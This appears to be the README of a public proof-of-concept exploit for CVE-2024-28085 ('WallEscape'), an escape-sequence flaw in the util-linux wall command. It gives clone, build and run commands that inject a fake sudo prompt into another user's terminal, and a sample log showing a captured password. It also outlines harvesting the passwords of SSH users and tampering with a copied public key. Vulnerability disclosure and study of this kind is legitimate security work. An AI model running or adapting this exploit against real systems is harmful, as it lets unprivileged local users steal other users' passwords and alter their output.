The util-linux wall command does not filter escape sequences from command line arguments. The vulnerable code was introduced in commit cdd3cc7fa4 (2013). Every version since has been vulnerable. A full report can be found here. I have nicknamed this bug "WallEscape".
This exploit code was successful in leaking passwords on Ubuntu 22.04 with default configurations.
Make sure the background color and username are set to appropriate values in throw.c.
Attack setup
git clone https://github.com/skyler-ferrante/CVE-2024-28085.git
./build.sh
./spy > proc.log & ./watch "sudo systemctl start apache2"; ./watch "systemctl start apache2"; sleep .01; ./throw
I used sudo systemctl start apache2 since it is short running without much output.
Make sure to kill spy after the exploit has run: pkill spy.
Then in another terminal
sudo su
sudo systemctl start apache2
It might not be necessary for the victim to call su depending on the system, and if accessing locally vs through ssh.
This should cause the fake sudo prompt to pop up in the victim terminal. Since many systems leak commands that are not found, the victim password may show up in proc.log.
Example proc.log
sudo systemctl start apache2
systemctl start apache2
./throw
bash
/usr/bin/python3 /usr/lib/command-not-found -- Password123!
/usr/bin/snap advise-snap --format=json --command Password123!
Some people have misunderstood under what scenarios this could be used to attack another user. We do not need to attack sudo, we can attack anywhere the user inputs their password. On my system, after a user logs in using OpenSSH, the command /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new gets run.
For leaking passwords from Openssh users, imagine running the following:
./watch "sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new"; sleep 1; ./throw
We can then send a "password incorrect" message after a user can correctly login through SSH. Sudo was just the command I choose to demo, but there are many possible targets. Its not hard to imagine an attacker setting up a credential harvester, to harvest the credentials of every user that logins using SSH. This is possible from even the most unprivileged users, such as www-data.
This vulnerability also gives attackers the ability to change the output of any command. Imagine we waited for the command cat ~/.ssh/id_rsa.pub". An attacker could change what the user copies for their public key. In the style of attack, we do not need a leaking primitive for commands not found.